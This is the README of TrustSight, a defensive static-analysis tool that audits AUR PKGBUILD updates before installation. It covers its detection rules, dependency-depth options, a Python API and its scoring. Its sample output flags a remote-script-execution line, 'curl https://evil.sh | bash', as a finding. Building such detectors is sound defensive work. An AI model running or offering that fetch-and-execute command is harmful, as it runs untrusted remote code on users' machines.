TrustSight

Audits AUR PKGBUILD updates before you install: detects structural changes, suspicious commands, typosquatting, and novelty signals, then produces a deterministic evidence report.

Setup

TrustSight is available on the AUR, maintained by this project. The trustsight AUR package is built from packaging/aur/PKGBUILD in this repository. It gets no special trust for being the author's: it is an AUR package like any other, so inspect its PKGBUILD before installing. Source remains the recommended install, below.

# 1. Install the latest release tag (the PKGBUILD pins one version)
git clone --depth 1 --branch "$(git ls-remote --tags --refs --sort=-v:refname \
  https://github.com/emiliano-go/trustsight.git 'v*' | head -1 | cut -d/ -f3)" \
  https://github.com/emiliano-go/trustsight.git
cd trustsight/packaging/aur
makepkg -si
# Or build the checkout in place, with no second download:
#   cd trustsight/packaging/local && makepkg -si

# 2. Scan your outdated AUR packages
trustsight review

Requires Python 3.11+ and Arch Linux (the tool discovers packages via pacman -Qm, pacman -Sl for local repos, or --repo/--all-repos flags).

The analysis is deterministic and calculated locally. Verdicts are template-based, describing each finding in plain English, for example "Version bump. modified PKGBUILD, .SRCINFO. Signals: checksum disabled; novel dependency 'pyfoo' added in depends." Runs are read-only by default; --record opts into persisting observations and analysis history.

Baselines ship as signed GitHub release assets (baseline-seed.tar.gz, IOC baselines, the corpus). On an eligible first review or inspect, the CLI downloads the novelty seed and imports it only after its ed25519 signature verifies against the pinned distribution key; when offline, the attempt is skipped silently and the run starts cold. Other commands do not fetch it automatically. See installation for details.

Security model

TrustSight is evidence-producing, not proof-of-safety. Read the full security model for the threat model, invariants, and enforcement gates. It audits and does not install. The tool never runs the PKGBUILD, never executes extracted commands, and never modifies your system. Every finding is traceable to a specific diff line, URL, or novelty record. The output is a structured evidence report, not a gate. See what TrustSight cannot see.

Why static analysis? TrustSight is a SAST tool by design: it never executes PKGBUILDs or fetches URLs declared by them, and runs before makepkg. Its only network egress is the AUR metadata snapshot and the signed baseline channel - never a source the package declares. For how to customize the detection surface, see Why Static Analysis.

What it detects

What it cannot detect

The default review output shows findings and a verdict, not score or risk columns. Add --score or --risk when you want the numeric band in the terminal. The default review profile flags scores above 20; on the locked benign corpus that is about 1 in 10 review workload items. quiet and strict profiles change the queue without changing scores or bands. A clean score means no known risk signals fired, not that the package is safe. This is a point-in-time corpus measurement, not a universal false-positive rate. See what TrustSight cannot see for details.

Dependency depth

An AUR package's depends and makedepends can name other AUR packages, and makepkg builds those on your machine in the same run. Reviewing only the package you typed reads one recipe out of several that will actually execute - and a hijacked orphan is far more often somebody's dependency than the thing you meant to install.

So AUR dependencies are analysed by default.

trustsight inspect some-pkg              # depth 1, the default
trustsight inspect some-pkg --depth 0    # this package only
trustsight inspect some-pkg --depth 3    # three levels
trustsight review --depth -1             # the whole closure
trustsight review --deps                 # dependencies as the report subjects
trustsight review --deps --depth 2       # direct dependencies and theirs

Set it permanently in config.toml:

[depth]
levels = 1

Three things worth knowing:

Each dependency is analysed as a package, not as a component of one. It gets its own score, its own band, its own coverage gaps and its own row in the database, and it renders as a mini-card nested inside the parent's card. Nothing is folded into the parent's score - depth is deliberately not part of the config fingerprint, so a score that moved when you passed --depth would make two operators' results incomparable.

-1 is bounded. The dependency graph is written by the party under review: a recipe declaring five hundred AUR makedepends, each declaring five hundred more, would otherwise decide how many repositories your machine clones. The ceilings are 8 levels and 200 dependencies per run.

A walk cut short says so. Hitting a ceiling, or failing to analyse a dependency, records the deps_not_scanned coverage gap, which forbids an UNFLAGGED result. A walk that completed is not a gap: asking for depth 1 and getting depth 1 is a complete answer to the question you asked.

Dependencies are read from the corpus metadata snapshot when you have one (no extra network), otherwise from one batched AUR RPC request per level. Only depends, makedepends and checkdepends count - optdepends is not installed by default. The first run clones each dependency; later runs reuse the cache.

The 30-second example

trustsight review

╭────────────────────────── chez-scheme-bin ───────────────────────────╮
│  Version  10.0.0  →  10.1.0                                          │
│  Status   Only pkgver and sha256sums changed. Review the diff        │
│           before building.                                           │
│  Changed  pkgver 10.0.0 -> 10.1.0                                    │
│           checksums added or changed                                 │
╰──────────────────────────────────────────────────────────────────────╯
╭──────────────────────────── sketchy-pkg ─────────────────────────────╮
│  Version  1.4.2  →  1.5.0                                            │
│  Status   The update is not trivial. Review it.                      │
│           PKGBUILD line 4  Remote Script Execution: curl             │
│           https://evil.sh | bash [R001]                              │
│           Source URL classified as unknown (https://evil.sh)         │
│           [SOURCE_BUCKET]                                            │
│  Changed  pkgver 1.4.2 -> 1.5.0                                      │
│           source host added: evil.sh                                 │
╰──────────────────────────────────────────────────────────────────────╯
2 package(s) needing update and reviewed out of 2 installed

One panel per package, and every signal is shown with the file, line and rule that produced it. You see why the update needs review.

The default is evidence-first. Add --score to show the numeric score and band, or --risk for the band alone.

Commands

Use it from Python

Every flow above is available as a library through trustsight.api, which returns dataclasses instead of printing. Nothing else under trustsight. is public.

from trustsight import TrustSight

ts = TrustSight()

report = ts.inspect("some-package")
print(report.risk_label, report.verdict)

result = ts.review(limit=25)
for r in result.flagged:
    print(r.package, r.risk, r.verdict)
for failure in result.failures:
    print("NOT VETTED:", failure.package, failure.error)

for cycle in ts.watch(interval=1800):     # full-aur --watch, as a generator
    for package, rule_id in cycle.new_alerts:
        print(rule_id, package)

Two rules carry over from the CLI. Use report.risk, never a band re-derived from report.score: an analysis that could not read the whole change reports Inconclusive regardless of the number. And check result.failures, because a package that could not be analysed is a result, not an absence. result.to_dict() follows review --json: it is one flat list containing successful report rows and failed rows marked failed: true.

How it works

A run is deterministic: the same diff, effective configuration, and stored observation history always produce the same evidence record. The pipeline is:

1. Diff the old and new PKGBUILD
2. Apply rules to detect structural changes, suspicious commands, typosquatting, etc.
3. Classify URLs into trust buckets (trusted forge, official, raw hosting, unknown, homograph)
4. Check novelty against the local database of known URLs and maintainers
5. Report the findings, the change summary, and any coverage gaps

Verdicts are template-based, describing each triggered finding in plain English. All output is deterministic and generated locally.

The evidence layers

Every rule carries an evidence layer, L1-L8, naming the kind of evidence a finding is - not a stage an attacker passed through. A finding at L4 does not mean L1-L3 were cleared, and a layer with no finding is not a safety certificate.

The report keeps detection and coverage separate: L3 fired says the payload-signature check matched, L1 passed says the structural check was read in full and stayed silent (not that the update is safe), and L8 not_applicable says the check could not run on a single package. The optional L9 build lane (A001-A008) inspects the built package and is not one of the eight. See How TrustSight groups security evidence.

The score, on request

A weighted score is computed on every run but is not part of the default output; ask for it with --score (--risk for the band). It is a heuristic aggregate of the fired findings - not a probability of compromise, not a confidence, and not a prediction. A score of 40 does not mean "40% likely to be malicious"; it means the findings that fired carry that combined weight. See How TrustSight Works and the scoring philosophy.

Signals come from 240 documented rules across eleven rule families: 37 detection rules (R-series, TOML-configurable), 103 heuristic rules (H-series), 31 code-structure rules (C001-C031), 4 dependency-graph rules (D001-D004), 8 sabotage rules (S001-S008), 33 crossfire anti-evasion rules (X001-X033), 5 meta rules (M001-M005), 3 entropy rules (E001-E003), 3 temporal rules (T001-T003), 7 correlation rules (G001-G007), and 6 manifest rules (U001-U006). Two further families are reported but never weighted: declared practice (P001-P008) and unverifiable (W001-W010), the latter naming what an analysis could not read. The optional L9 build lane adds eight artifact rules (A001-A008), reported outside the heuristic when enabled. Calibration uses a locked, point-in-time 3,739-diff benign corpus of real AUR updates and 205 self-authored, labelled malicious fixtures; it is regression evidence, not an independent recall claim. See Benchmarks and Methodology and the blinded-evaluation intake for scope.

License

MIT

Documentation hub